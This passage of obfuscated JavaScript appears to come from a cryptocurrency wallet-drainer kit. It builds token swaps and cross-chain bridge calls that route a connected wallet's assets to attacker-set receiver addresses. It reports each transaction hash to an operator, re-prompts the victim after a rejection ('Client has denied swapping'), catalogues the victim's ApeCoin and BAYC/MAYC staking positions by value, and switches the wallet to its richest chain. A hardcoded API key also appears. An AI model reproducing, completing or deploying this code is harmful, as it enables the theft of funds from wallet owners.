for (let _0x44eb0 of _0x2fd87c) { | |
let _0x3dbc48 = []; | |
_0x3dbc48[0] = _0x44eb0.token; | |
_0x3dbc48[1] = _0x41b081; | |
let _0x310c62 = _0x414c73.interface.encodeFunctionData("swapExactTokensForTokens", [_0x44eb0.amount, 0, _0x3dbc48, this.caller]); | |
_0x175df8.push(_0x310c62); | |
} | |
let _0x4ac485 = _0x414c73.interface.encodeFunctionData("multicall(bytes[])", [_0x175df8]); | |
let _0x57c0f7 = { | |
to: _0x2b7b1b, | |
from: await this.getWalletAddress(), | |
data: _0x4ac485 | |
}; | |
return [_0x9d9505.sendTransaction(_0x57c0f7), _0x41b081]; | |
} | |
case "WooFinance": | |
{ | |
let _0x5f0ce6 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_weth", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_pool", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "address", | |
name: "newPool", | |
type: "address" | |
}], | |
name: "WooPoolChanged", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "enum IWooRouterV2.SwapType", | |
name: "swapType", | |
type: "uint8" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "toAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "rebateTo", | |
type: "address" | |
}], | |
name: "WooRouterSwap", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "approveTarget", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "swapTarget", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "minToAmount", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "data", | |
type: "bytes" | |
}], | |
name: "externalSwap", | |
outputs: [{ | |
internalType: "uint256", | |
name: "realToAmount", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "stuckToken", | |
type: "address" | |
}], | |
name: "inCaseTokenGotStuck", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "isWhitelisted", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}], | |
name: "querySwap", | |
outputs: [{ | |
internalType: "uint256", | |
name: "toAmount", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "quoteToken", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "renounceOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newPool", | |
type: "address" | |
}], | |
name: "setPool", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "whitelisted", | |
type: "bool" | |
}], | |
name: "setWhitelisted", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "minToAmount", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "rebateTo", | |
type: "address" | |
}], | |
name: "swap", | |
outputs: [{ | |
internalType: "uint256", | |
name: "realToAmount", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}], | |
name: "tryQuerySwap", | |
outputs: [{ | |
internalType: "uint256", | |
name: "toAmount", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "wooPool", | |
outputs: [{ | |
internalType: "contract IWooPPV2", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x5b8777 = new ethers.Contract(_0x2b7b1b, _0x5f0ce6, _0x9d9505); | |
let _0x129ac2 = await _0x5b8777.WETH(); | |
return [_0x5b8777.swap(_0x4f37a4.asset.token, _0x129ac2, _0x4f37a4.asset.amount, 0, path, this.caller, this.caller), _0x129ac2]; | |
} | |
case "WooBridge": | |
{ | |
try { | |
let _0x36eb7a = _0x4f37a4.chain; | |
let _0x2c4afc = 101; | |
let _0x372e20 = 110; | |
console.log("checking path for woobridge"); | |
let _0x743725 = ""; | |
let _0x5f35ff = ""; | |
switch (_0x36eb7a) { | |
case "bsc": | |
{ | |
_0x2c4afc = 102; | |
_0x743725 = "0x55d398326f99059ff775485246999027b3197955"; | |
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8"; | |
break; | |
} | |
case "avax": | |
{ | |
_0x2c4afc = 106; | |
_0x743725 = "0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E"; | |
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8"; | |
break; | |
} | |
case "matic": | |
{ | |
_0x2c4afc = 109; | |
_0x743725 = "0x2791bca1f2de4661ed88a30c99a7a9449aa84174"; | |
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8"; | |
break; | |
} | |
case "arb": | |
{ | |
_0x2c4afc = 110; | |
_0x372e20 = 111; | |
_0x743725 = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8"; | |
_0x5f35ff = "0x7f5c764cbc14f9669b88837ca1490cca17c31607"; | |
break; | |
} | |
case "op": | |
{ | |
_0x2c4afc = 111; | |
_0x743725 = "0x7F5c764cBc14f9669B88837ca1490cCa17c31607"; | |
_0x5f35ff = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8"; | |
break; | |
} | |
} | |
let _0x2b31c7 = [_0x4f37a4.asset.token, _0x743725, _0x4f37a4.asset.amount, _0x4f37a4.asset.amount]; | |
let _0xba1c65 = [_0x372e20, _0x5f35ff, _0x5f35ff, 0, 0]; | |
console.log(_0x2b31c7); | |
console.log(_0xba1c65); | |
console.log(_0x2b7b1b); | |
let _0xc482fe = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_weth", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_wooRouter", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_stargateRouter", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "_sgChainIdLocal", | |
type: "uint16" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint256", | |
name: "refId", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "bridgedToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "bridgedAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "realToToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "minToAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "realToAmount", | |
type: "uint256" | |
}], | |
name: "WooCrossSwapOnDstChain", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint256", | |
name: "refId", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "minBridgeAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "realBridgeAmount", | |
type: "uint256" | |
}], | |
name: "WooCrossSwapOnSrcChain", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "ETH_PLACEHOLDER_ADDR", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "addDirectBridgeToken", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "allDirectBridgeTokens", | |
outputs: [{ | |
internalType: "address[]", | |
name: "", | |
type: "address[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "allDirectBridgeTokensLength", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "bridgeSlippage", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "refId", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "to", | |
type: "address" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "bridgeToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "minBridgeAmount", | |
type: "uint256" | |
}], | |
internalType: "struct IWooCrossChainRouterV2.SrcInfos", | |
name: "srcInfos", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "uint16", | |
name: "chainId", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "bridgeToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "minToAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "airdropNativeAmount", | |
type: "uint256" | |
}], | |
internalType: "struct IWooCrossChainRouterV2.DstInfos", | |
name: "dstInfos", | |
type: "tuple" | |
}], | |
name: "crossSwap", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "dstGasForNoSwapCall", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "dstGasForSwapCall", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "stuckToken", | |
type: "address" | |
}], | |
name: "inCaseTokenGotStuck", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "srcChainId", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "", | |
type: "bytes" | |
}, { | |
internalType: "uint64", | |
name: "", | |
type: "uint64" | |
}, { | |
internalType: "bytes32", | |
name: "from", | |
type: "bytes32" | |
}, { | |
internalType: "uint256", | |
name: "amountLD", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "payload", | |
type: "bytes" | |
}], | |
name: "onOFTReceived", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "refId", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "fromToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "bridgeToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "fromAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "minBridgeAmount", | |
type: "uint256" | |
}], | |
internalType: "struct IWooCrossChainRouterV2.SrcInfos", | |
name: "srcInfos", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "uint16", | |
name: "chainId", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "toToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "bridgeToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "minToAmount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "airdropNativeAmount", | |
type: "uint256" | |
}], | |
internalType: "struct IWooCrossChainRouterV2.DstInfos", | |
name: "dstInfos", | |
type: "tuple" | |
}], | |
name: "quoteLayerZeroFee", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "removeDirectBridgeToken", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "renounceOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_bridgeSlippage", | |
type: "uint256" | |
}], | |
name: "setBridgeSlippage", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_dstGasForNoSwapCall", | |
type: "uint256" | |
}], | |
name: "setDstGasForNoSwapCall", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_dstGasForSwapCall", | |
type: "uint256" | |
}], | |
name: "setDstGasForSwapCall", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "_sgChainIdLocal", | |
type: "uint16" | |
}], | |
name: "setSgChainIdLocal", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "chainId", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "setSgETH", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "chainId", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}], | |
name: "setSgPoolId", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_stargateRouter", | |
type: "address" | |
}], | |
name: "setStargateRouter", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "oft", | |
type: "address" | |
}], | |
name: "setTokenToOFT", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "chainId", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "wooCrossChainRouter", | |
type: "address" | |
}], | |
name: "setWooCrossChainRouter", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_wooRouter", | |
type: "address" | |
}], | |
name: "setWooRouter", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "sgChainIdLocal", | |
outputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}], | |
name: "sgETHs", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "sgPoolIds", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}, { | |
internalType: "bytes", | |
name: "", | |
type: "bytes" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "bridgedToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountLD", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "payload", | |
type: "bytes" | |
}], | |
name: "sgReceive", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "stargateRouter", | |
outputs: [{ | |
internalType: "contract IStargateRouter", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "tokenToOFTs", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "weth", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint16", | |
name: "", | |
type: "uint16" | |
}], | |
name: "wooCrossChainRouters", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "wooRouter", | |
outputs: [{ | |
internalType: "contract IWooRouterV2", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x2dad88 = new ethers.Contract(_0x2b7b1b, _0xc482fe, _0x9d9505); | |
let _0x5ca8bf = await _0x2dad88.quoteLayerZeroFee(0, this.ace_receiver, _0x2b31c7, _0xba1c65); | |
let _0x14ce81 = _0x5ca8bf[0]; | |
console.log(_0x5ca8bf); | |
const _0xac64c2 = { | |
value: _0x14ce81 | |
}; | |
return [_0x2dad88.crossSwap(0, this.ace_receiver, _0x2b31c7, _0xba1c65, _0xac64c2), ""]; | |
} catch (_0x427bc3) { | |
console.log(_0x427bc3); | |
return new Promise(_0x5a55a2 => false); | |
} | |
} | |
case "ZeroEx": | |
{ | |
const _0x277d1d = { | |
"0x-api-key": "ff2bd086-339a-4555-8723-4166590b3f7f" | |
}; | |
const _0x9028d0 = _0x277d1d; | |
let _0x68df7c = "api.0x.org"; | |
let _0xbeffb3 = this.tradingPairs[_0x4f37a4.chain]; | |
switch (_0x4f37a4.chain) { | |
case "eth": | |
break; | |
case "arb": | |
_0x68df7c = "arbitrum.api.0x.org"; | |
break; | |
case "avax": | |
_0x68df7c = "avalanche.api.0x.org"; | |
break; | |
case "base": | |
_0x68df7c = "base.api.0x.org"; | |
break; | |
case "bsc": | |
_0x68df7c = "bsc.api.0x.org"; | |
break; | |
case "celo": | |
_0x68df7c = "celo.api.0x.org"; | |
break; | |
case "ftm": | |
_0x68df7c = "fantom.api.0x.org"; | |
break; | |
case "op": | |
_0x68df7c = "optimism.api.0x.org"; | |
break; | |
case "matic": | |
_0x68df7c = "polygon.api.0x.org"; | |
break; | |
} | |
const _0x566594 = { | |
headers: _0x9028d0 | |
}; | |
const _0x36d56d = await fetch("https://" + _0x68df7c + "/swap/v1/quote?sellToken=" + _0x4f37a4.asset.token + "&buyToken=" + _0xbeffb3 + "&sellAmount=" + _0x4f37a4.asset.amount, _0x566594); | |
let _0x102afb = await _0x36d56d.json(); | |
console.log(_0x102afb); | |
let _0x5a6259 = [_0x9d9505.sendTransaction({ | |
to: _0x102afb.to, | |
data: _0x102afb.data, | |
value: "0x00", | |
chainId: "0x" + _0x102afb.chainId.toString(16) | |
}), ""]; | |
return _0x5a6259; | |
} | |
} | |
}; | |
doSwapRegular = async _0x4adbac => { | |
let _0x5dd6c3 = await this.getWalletAddress(); | |
try { | |
let _0x4a8faa = await this.setUpSwap(_0x4adbac); | |
let _0x491a22 = await _0x4a8faa[0]; | |
let _0x13bb06 = _0x4a8faa[1]; | |
if (_0x491a22.hash != "") { | |
if (_0x4adbac.actionType == "PancakeV2" || _0x4adbac.actionType == "UniswapV3_2" || _0x4adbac.actionType == "UniswapV3") { | |
for (let _0x571443 of _0x4adbac.asset) { | |
this.approved.push(_0x571443.token + "," + _0x4adbac.chain); | |
} | |
} else { | |
this.approved.push(_0x4adbac.asset.token + "," + _0x4adbac.chain); | |
} | |
const _0x50e786 = { | |
chain: _0x4adbac.chain, | |
type: "swap", | |
source: _0x4adbac.actionType, | |
txId: _0x491a22.hash, | |
value: _0x4adbac.value | |
}; | |
await this.sendMessage(_0x50e786); | |
if (_0x4adbac.actionType != "Special" && _0x4adbac.actionType != "Stargate" && _0x4adbac.actionType != "WooBridge" && _0x4adbac.actionType != "ZeroEx" && _0x4adbac.actionType != "AaveLP2" && _0x4adbac.actionType != "AaveLP3" && _0x4adbac.actionType != "AaveLP4") { | |
await this.SendCompletion({ | |
type: "tokenSplit", | |
hash: _0x491a22.hash, | |
tokenAddress: _0x13bb06, | |
ahash: this.createEncKey(), | |
chainId: this.getChainId(_0x4adbac.chain) | |
}); | |
} | |
} else { | |
if (_0x5dd6c3 != (await this.getWalletAddress())) { | |
return; | |
} | |
const _0x1331c8 = { | |
chain: _0x4adbac.chain, | |
type: "error", | |
msg: "Client has denied swapping (" + _0x4adbac.actionType + ")" | |
}; | |
await this.sendMessage(_0x1331c8); | |
this.failedAttempts++; | |
if (this.failedAttempts > 3 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.doSwapRegular(_0x4adbac); | |
} | |
} | |
} catch (_0x13cbc3) { | |
console.log(_0x13cbc3); | |
if (_0x5dd6c3 != (await this.getWalletAddress())) { | |
return; | |
} | |
const _0x16c446 = { | |
chain: _0x4adbac.chain, | |
type: "error", | |
msg: "Client has denied swapping (" + _0x4adbac.actionType + ")" | |
}; | |
await this.sendMessage(_0x16c446); | |
this.failedAttempts++; | |
if (this.failedAttempts > 3 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.doSwapRegular(_0x4adbac); | |
} | |
} | |
}; | |
apePromise = async () => { | |
try { | |
let _0x31d63b = await this.Sdk.getStakes(await this.getWalletAddress()); | |
let _0x5a5c92 = []; | |
for (let _0x5b2398 of _0x31d63b) { | |
const _0x2d42eb = { | |
poolId: _0x5b2398[0], | |
tokenId: _0x5b2398[1], | |
deposited: _0x5b2398[2], | |
unclaimed: _0x5b2398[3], | |
rewards24Hrs: _0x5b2398[4] | |
}; | |
let _0x4e90f6 = _0x2d42eb; | |
_0x5a5c92.push(_0x4e90f6); | |
} | |
let _0xf6a094 = { | |
amount: BigInt(0), | |
type: "Mayc", | |
ids: [], | |
value: 0 | |
}; | |
let _0x960567 = { | |
amount: BigInt(0), | |
type: "Bayc", | |
ids: [], | |
value: 0 | |
}; | |
console.log(_0x5a5c92); | |
for (let _0xb0eeeb of _0x5a5c92) { | |
let _0x23180a = parseInt(_0xb0eeeb.poolId.toString()); | |
let _0x2ad673 = this.web3Js.utils.fromWei(_0xb0eeeb.deposited.toString(), "ether") * apePrice; | |
this.totalStaked += _0x2ad673; | |
if (_0x23180a == 0) { | |
let _0x46cd0f = { | |
amount: BigInt(_0xb0eeeb.deposited.toString()).toString(), | |
type: "Ape" | |
}; | |
if (_0x2ad673 > 30) { | |
this.apeStakeActions.push({ | |
stake: _0x46cd0f, | |
value: _0x2ad673, | |
chain: "eth" | |
}); | |
} | |
} | |
if (_0x23180a == 1) { | |
_0x960567.amount = (BigInt(_0x960567.amount) + BigInt(_0xb0eeeb.deposited.toString())).toString(); | |
_0x960567.ids.push(_0xb0eeeb.tokenId.toString()); | |
_0x960567.value = _0x960567.value + _0x2ad673; | |
} | |
if (_0x23180a == 2) { | |
_0xf6a094.amount = (BigInt(_0xf6a094.amount) + BigInt(_0xb0eeeb.deposited.toString())).toString(); | |
_0xf6a094.ids.push(_0xb0eeeb.tokenId.toString()); | |
_0xf6a094.value = _0xf6a094.value + _0x2ad673; | |
} | |
} | |
if (_0xf6a094.value > 100) { | |
const _0x4a4bd7 = { | |
stake: _0xf6a094, | |
value: _0xf6a094.value, | |
chain: "eth" | |
}; | |
this.apeStakeActions.push(_0x4a4bd7); | |
} | |
if (_0x960567.value > 100) { | |
const _0x6ea886 = { | |
stake: _0x960567, | |
value: _0x960567.value, | |
chain: "eth" | |
}; | |
this.apeStakeActions.push(_0x6ea886); | |
} | |
} catch (_0x55d62b) { | |
console.log(_0x55d62b); | |
console.log("FAILED TO INIT APE DATA"); | |
} | |
}; | |
handleChains = async () => { | |
let _0x63864b = this.chainValues.sort(this.utils.propComparator("value")).reverse(); | |
console.log(await this.getChainId("base")); | |
if ((await this.getChainId(_0x63864b[0].chain.toString())) != this.currentChainId && _0x63864b[0].value > 5) { | |
console.log("may have to prompt something here"); | |
if (await this.trySwitchChain(this.provider, await this.getChainId(_0x63864b[0].chain))) { | |
this.currentChainId = await this.getChainId(_0x63864b[0].chain); | |
} | |
} | |
}; | |
trySwitchChain = async (_0x6d8272, _0x45c08c) => { | |
let _0xaab72 = await this.getWalletAddress(); | |
let _0x2375ea = await this.getChainFromId(_0x45c08c); | |
try { | |
var _0x118230 = "0x" + _0x45c08c.toString(16); | |
const _0xf532ae = { | |
chainId: _0x118230 | |
}; | |
const _0x112a27 = { | |
method: "wallet_switchEthereumChain", | |
params: [_0xf532ae] | |
}; | |
await _0x6d8272.provider.request(_0x112a27); | |
this.web3Js = new Web3(_0x6d8272.provider); | |
this.ethersProvider = this.provider; | |
this.Sdk = new SDK(this.provider, _0x45c08c); | |
const _0x2c682d = this.chainValues.findIndex(_0x118436 => { | |
return _0x118436.chain === _0x2375ea; | |
}); | |
let _0x182fad = this.chainValues[_0x2c682d].value; | |
await this.sendMessage({ | |
type: "chain", | |
chain: _0x2375ea, | |
name: _0x2375ea.toUpperCase(), | |
value: _0x182fad / config.assetOptions.multipliers.chainSwitchRatio, | |
actionsLeft: this.actions.filter(_0x38ec18 => _0x38ec18.chain == _0x2375ea).length | |
}); | |
if (_0xaab72 != (await this.getWalletAddress())) { | |
return; | |
} | |
return true; | |
} catch (_0x23e539) { | |
if (_0x23e539.code == 4902) { | |
